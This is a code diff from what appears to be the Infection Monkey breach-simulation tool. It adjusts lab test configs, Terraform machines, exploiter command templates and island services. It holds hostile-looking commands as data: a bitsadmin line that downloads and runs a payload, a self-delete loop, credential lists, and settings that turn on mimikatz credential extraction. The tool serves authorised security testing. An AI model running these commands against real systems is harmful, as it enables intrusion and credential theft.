diff --git a/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf b/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf
index 4e487fee9..4b47a0246 100644
--- a/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf
+++ b/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf
@@ -1,8 +1,18 @@
{
"basic": {
"credentials": {
- "exploit_password_list": [],
- "exploit_user_list": []
+ "exploit_password_list": [
+ "Password1!",
+ "1234",
+ "password",
+ "12345678"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "root",
+ "user",
+ "vakaris_zilius"
+ ]
},
"general": {
"should_exploit": true
@@ -38,17 +48,14 @@
"general": {
"exploiter_classes": [
"Struts2Exploiter"
- ],
- "skip_exploit_if_file_exist": true
+ ],
+ "skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
- "rdp_grinder": {
- "rdp_use_vbs_download": true
- },
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
@@ -98,7 +105,7 @@
"exploit_ssh_keys": []
},
"general": {
- "keep_tunnel_open_time": 1,
+ "keep_tunnel_open_time": 60,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
@@ -126,24 +133,32 @@
},
"general": {
"alive": true,
- "post_breach_actions": []
+ "post_breach_actions": [
+ "CommunicateAsNewUser"
+ ]
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
- "timeout_between_iterations": 30,
- "victims_max_exploit": 7,
- "victims_max_find": 30
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 15,
+ "victims_max_find": 100
},
"system_info": {
- "collect_system_info": false,
- "extract_azure_creds": false,
- "should_use_mimikatz": false
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true,
+ "system_info_collectors_classes": [
+ "EnvironmentCollector",
+ "AwsCollector",
+ "HostnameCollector",
+ "ProcessListCollector"
+ ]
}
},
"network": {
"ping_scanner": {
- "ping_scan_timeout": 100
+ "ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
@@ -155,7 +170,7 @@
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
- "tcp_scan_timeout": 300,
+ "tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
@@ -168,7 +183,8 @@
8008,
3306,
9200,
- 7001
+ 7001,
+ 8088
]
}
}
diff --git a/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf b/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf
index 306a683eb..80d85a7b7 100644
--- a/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf
+++ b/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf
@@ -5,6 +5,7 @@
"Password1!",
"3Q=(Ge(+&w]*",
"`))jU7L(w}",
+ "t67TC5ZDmz",
"12345678",
"another_one",
"and_another_one",
@@ -30,7 +31,8 @@
"subnet_scan_list": [
"10.2.2.9",
"10.2.1.10",
- "10.2.0.11"
+ "10.2.0.11",
+ "10.2.0.12"
]
},
"network_analysis": {
diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py
index e2da6a992..7ac70d8e0 100644
--- a/envs/monkey_zoo/blackbox/test_blackbox.py
+++ b/envs/monkey_zoo/blackbox/test_blackbox.py
@@ -16,7 +16,7 @@ DEFAULT_TIMEOUT_SECONDS = 5*60
MACHINE_BOOTUP_WAIT_SECONDS = 30
GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16',
'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10',
- 'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8']
+ 'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8']
LOG_DIR_PATH = "./logs"
LOGGER = logging.getLogger(__name__)
@@ -118,9 +118,8 @@ class TestMonkeyBlackbox(object):
def test_shellshock_exploiter(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter")
- @pytest.mark.xfail(reason="Test fails randomly - still investigating.")
def test_tunneling(self, island_client):
- TestMonkeyBlackbox.run_basic_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 10*60)
+ TestMonkeyBlackbox.run_basic_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 15*60)
def test_wmi_and_mimikatz_exploiters(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz")
@@ -128,6 +127,7 @@ class TestMonkeyBlackbox(object):
def test_wmi_pth(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "WMI_PTH.conf", "WMI_PTH")
+ @pytest.mark.xfail(reason="Performance is slow, will improve on release 1.9.")
def test_performance(self, island_client):
"""
This test includes the SSH + Elastic + Hadoop + MSSQL machines all in one test
diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf
index 30602f237..bb7c4d72d 100644
--- a/envs/monkey_zoo/terraform/monkey_zoo.tf
+++ b/envs/monkey_zoo/terraform/monkey_zoo.tf
@@ -201,6 +201,21 @@ resource "google_compute_instance_from_template" "tunneling-11" {
}
}
+resource "google_compute_instance_from_template" "tunneling-12" {
+ name = "${local.resource_prefix}tunneling-12"
+ source_instance_template = local.default_windows
+ boot_disk{
+ initialize_params {
+ image = data.google_compute_image.tunneling-12.self_link
+ }
+ auto_delete = true
+ }
+ network_interface{
+ subnetwork="${local.resource_prefix}tunneling2-main"
+ network_ip="10.2.0.12"
+ }
+}
+
resource "google_compute_instance_from_template" "sshkeys-11" {
name = "${local.resource_prefix}sshkeys-11"
source_instance_template = local.default_ubuntu
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index 4fbc484eb..45d36d055 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -180,7 +180,7 @@ class SSHExploiter(HostExploiter):
try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
- cmdline += "&"
+ cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index bef428f4d..9f40f0934 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -409,6 +409,7 @@ class WebRCE(HostExploiter):
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
try:
+ LOG.info("Trying to execute monkey using command: {}".format(command))
resp = self.exploit(url, command)
# If exploiter returns True / False
if isinstance(resp, bool):
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index e4cfea7a4..5644044b0 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -5,14 +5,17 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
-DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
-MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
+
+# CMD prefix for windows commands
+CMD_PREFIX = "cmd.exe /c"
+DROPPER_CMDLINE_WINDOWS = '%s %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
+MONKEY_CMDLINE_WINDOWS = '%s %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
-DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
-MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
-MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
- '/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
+DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
+MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
+MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
+ '/c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 '
@@ -25,8 +28,6 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
CHECK_COMMAND = "echo %s" % ID_STRING
-# CMD prefix for windows commands
-CMD_PREFIX = "cmd.exe /c"
# Architecture checking commands
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
GET_ARCH_LINUX = "lscpu"
diff --git a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py
index af169ec5f..ad4419be5 100644
--- a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py
+++ b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py
@@ -1,7 +1,6 @@
from typing import List, Dict
-from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern
-from stix2.core import STIXDomainObject
+from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern, v20
class MitreApiInterface:
@@ -33,14 +32,14 @@ class MitreApiInterface:
return all_techniques
@staticmethod
- def get_stix2_external_reference_id(stix2_data: STIXDomainObject) -> str:
+ def get_stix2_external_reference_id(stix2_data: v20._DomainObject) -> str:
for reference in stix2_data['external_references']:
if reference['source_name'] == "mitre-attack" and 'external_id' in reference:
return reference['external_id']
return ''
@staticmethod
- def get_stix2_external_reference_url(stix2_data: STIXDomainObject) -> str:
+ def get_stix2_external_reference_url(stix2_data: v20._DomainObject) -> str:
for reference in stix2_data['external_references']:
if 'url' in reference:
return reference['url']
diff --git a/monkey/monkey_island/cc/services/bootloader.py b/monkey/monkey_island/cc/services/bootloader.py
index 49dbe3154..9f05ac45f 100644
--- a/monkey/monkey_island/cc/services/bootloader.py
+++ b/monkey/monkey_island/cc/services/bootloader.py
@@ -17,7 +17,7 @@ class BootloaderService:
telem['os_version'] = "Unknown OS"
telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem)
- mongo.db.bootloader_telems.update({'_id': telem_id}, telem, upsert=True)
+ mongo.db.bootloader_telems.update({'_id': telem_id}, {'$setOnInsert': telem}, upsert=True)
will_monkey_run = BootloaderService.is_os_compatible(telem)
try:
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index 3ad0a270b..6104b279f 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -243,6 +243,12 @@ class NodeService:
raise NodeCreationException("Bootloader ran on island, no need to create new node.")
new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}})
+ # Temporary workaround to not create a node after monkey finishes
+ monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}})
+ if monkey_node:
+ # Don't create new node, monkey node is already present
+ return monkey_node
+
if new_node is None:
new_node = NodeService.create_node_from_bootloader_telem(bootloader_telem, will_monkey_run)
if bootloader_telem['tunnel']:
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
index 17dcc9be7..2c07147f7 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
@@ -11,6 +11,8 @@ import {Link} from 'react-router-dom';
import AuthComponent from '../AuthComponent';
import AwsRunTable from '../run-monkey/AwsRunTable';
+import '../../styles/MonkeyRunPage.scss';
+
const loading_css_override = css`
display: block;
margin-right: auto;
@@ -325,7 +327,8 @@ class RunMonkeyPageComponent extends AuthComponent {
Choose the operating system where you want to run the monkey
{this.state.ips.length > 1 ? ', and the interface to communicate with.' : '.'}
-